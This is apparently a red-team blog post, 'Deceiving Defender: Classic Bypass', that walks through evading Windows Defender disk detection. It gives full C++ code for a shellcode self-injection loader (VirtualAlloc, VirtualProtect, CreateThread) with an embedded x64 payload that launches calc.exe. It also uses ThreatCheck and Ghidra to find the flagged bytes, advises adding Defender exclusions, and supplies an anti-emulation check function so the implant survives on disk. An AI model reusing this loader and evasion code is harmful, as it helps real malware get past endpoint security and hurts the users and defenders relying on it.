💀
0xTriboulet
  • Introduction
  • Achieving Access
    • achieving access: implantv1
    • achieving access: implantv2
    • achieving access: implantv3
  • Deceiving Defender
    • Deceiving Defender: Making nc.exe viable again
    • Deceiving Defender: Classic Bypass
    • Deceiving Defender: Name Bypass
    • Deceiving Defender: The Texas Two Step
    • Deceiving Defender: The Big Stack Bypass
      • Making Meterpreter Viable Again
    • Deceiving Defender: Meterpreter
  • Making Malware
    • making malware #0
    • making malware #1
    • making malware #2
  • Just Malicious
    • Advanced String Obfuscation
    • From C, with inline assembly, to shellcode
    • Thnks4RWX
  • TTPs
    • TTPs: Embedding Payloads with MSFVenom (x86)
    • TTPs: Embedding Payloads with MSFVenom (x64)
    • TTPs: Rust vs C++
    • TTPs: JmpNoCall
    • TTPs: BadAsm
    • TTPs: BadStrings
  • Unholy Unhooking
    • Unholy Unhooking: byoDLL
    • Unholy Unhooking: FrByoDLL
    • Unholy Unhooking: Rusty Fart
  • Weird Windows
    • Command Hijacking with .COM
    • Non-Existent File Paths
  • ZeroTotal
    • ZeroTotal: Msfvenom Calc
    • ZeroTotal: Self-Injecting Calc
    • ZeroTotal: Rusty Calc
  • Disclaimers
Powered by GitBook
On this page
  • Part Zero: Introduction
  • Part One: Getting Started
  • Part Two: Diagnosing the Problem(s)
  • Part Three: Finding the Problem(s)
  • Part Four: Dodging the Problem(s)
  • Part Five: ???
  • Part Six: Profit
  • Part Seven: Conclusion
  • References
  1. Deceiving Defender

Deceiving Defender: Classic Bypass

A practical workflow for bypassing Windows Defender disk detection using ThreatCheck, Ghidra, and Cpp

PreviousDeceiving Defender: Making nc.exe viable againNextDeceiving Defender: Name Bypass

Last updated 1 year ago

Part Zero: Introduction

This post was inspired by Sektor 7's Malware Development Essentials and Malware Development Intermediate Courses. This post is not going to cover advanced methodologies, rather we're going to use a ThreatCheck, Ghidra, and a classic payload injection mechanism to demonstrate a workflow for bypassing Windows Defender detection.

Part One: Getting Started

The classic payload injection mechanic we're going to be looking at is self-injection using this code:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


int main(void) {

	void* exec_mem = NULL;
	BOOL rv;
	HMODULE th = NULL;
	DWORD oldprotect = 0;

	//Our payload is where we typically put our malicious code, in this case we're calling calc.exe
	unsigned char payload[] ={
	0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
	0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
	0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
	0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
	0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
	0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
	0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
	0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
	0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
	0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
	0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
	0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
	0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
	0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
	0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
	0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
	0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
	0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
	0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
	0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
	0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
	0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
	0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
	};
	//Get size of our payload, we'll need this later
	unsigned int payload_len = sizeof(payload); 
	
	//allocate a place to write our code in memory, we only need READ/WRITE permissions
	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	
	//copy our payload to the place we just allocated
	RtlMoveMemory(exec_mem, payload, payload_len);
	
	//We need EXECUTE/READ permissions now so that our payload can be executed
	rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
	
	//If we successfully changed the permissions at the address our payload has been written to, try to make a new thread (execute the payload)
	if (rv != 0) {
		
		//execute the payload
		th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
		
		//wait for payload to terminate
		WaitForSingleObject(th, -1);
	}
	
	//clean up
	CloseHandle(th);
	return 0;
}

If we compile and run this code in our development environment we have a working implant.exe that successfully calls calc.exe!

Part Two: Diagnosing the Problem(s)

I recommend you place your malicious .exe in a folder excluded from Windows Defender scanning, otherwise ThreatCheck will throw errors when Defender deletes/quarantines the file before ThreatCheck can access it.

Tip: ThreatCheck uses C:\Temp by default so it's prudent to add C:\temp to your exclusions as well

Running ThreatCheck on implant.exe shows us the exact sequence of bytes that Windows Defender is detecting. We can now take this information and search for these bytes in Ghidra to see what part of our PE file is being detected!

Tip: If you're working with a larger or more complex .exe (or just having trouble identifying "bad" code), it might be helpful to generate a .pdb at compile time

Part Three: Finding the Problem(s)

I recommend searching for byte patterns that (approximately) bisect the detected bytes, so in this case I'm going search implant.exe's memory for 00 00 B0 21 01 40 01 00 in Ghidra.

It looks like the value that’s being flagged is a pointer, so let's follow that around and see if it gets us anywhere. If we follow the XREFs and pointers it looks like the first thing we hit is a library function. We know that the library function itself is not what's causing us to get caught by Defender. The problem is likely our specific use of the function.

We can tell from the distribution of this memory that likely something is going to be written here and it's that predictable behavior that is being detected by Windows Defender.

Because our payload is in the .text section, it's likely that our payload is what's causing the program to flag at this point in our code. We can test that by removing the payload and running ThreatCheck on our .exe again.

Tip: Another way to check this is by making the payload a global and therefore moving it into the .rodata section of your program. ThreatCheck will have any easier time finding your payload as the portion of the code that's getting flagged.

Part Four: Dodging the Problem(s)

One of the easiest ways to bypass Windows Defender is to break its ability to analyze our program. There's a pretty standard set of checks we can implement.

int checkMe(){
	//check if being emulated

	//set up system structures, these will contain system data
	SYSTEM_INFO s;
	MEMORYSTATUSEX ms;	
	DWORD procNum;

	unsigned char lpFileName[200];

	//these variables are a round-about way of checking if the .exe's name has changed
	GetModuleFileName(NULL,(char *)lpFileName,sizeof(lpFileName));
	int result;
	char * last;
	char * token = strtok(lpFileName,"\\");

	//this allocates a 'large' section of memory, most emulators will skip analyzing the binary due to this
	char * mem = NULL;
	mem = (char *) malloc (6900000);

	
	if(mem == NULL){
		MessageBox(NULL,last,"HELLO!", MB_OKCANCEL);
		return -1;
	}

	memset(mem,69,6900000);
	
	//check if my name is not implant.exe
	while(token != NULL){
		last = token;
		token = strtok(NULL,"\\");
	}
	result = strcmp(strlwr(last),"implant.exe");

	
	if(result != NULL){
		MessageBox(NULL,last,"HELLO!", MB_OKCANCEL);
		return -1;
	}
	
	//get number of processors, we expect 4
	GetSystemInfo(&s);
	procNum = s.dwNumberOfProcessors;

	if(procNum < 4){
		MessageBox(NULL,last,"HELLO!", MB_OKCANCEL);
		return -1;
	}

	free(mem);
		
	return 0;
}

Part Five: ???

[Intentionally Left Blank]

Part Six: Profit

We implement the checks outlined in part four and compile our program.

Our executable can now survive on disk without any further obfuscation!

Part Seven: Conclusion

In this case we didn't have to go further than some pretty basic emulation checks. This is often not enough to bypass end-user security solutions. The addition of Ghidra to the ThreatCheck -> .cpp workflow (such that we use ThreatCheck -> Ghidra -> .cpp) allows us to tailor our response to the specific detection capabilities of Windows Defender and achieve malicious code execution.

References

Black Hat USA 2018 - Windows Offender Reverse Engineering Windows Defender's Antivirus Emulator
Red_Team_Code_Snippets/Cpp/deceiving_defender/one at main · 0xTriboulet/Red_Team_Code_SnippetsGitHub
SEKTOR7 Research
Malware development book. First versioncocomelonc
Logo
Logo
Page cover image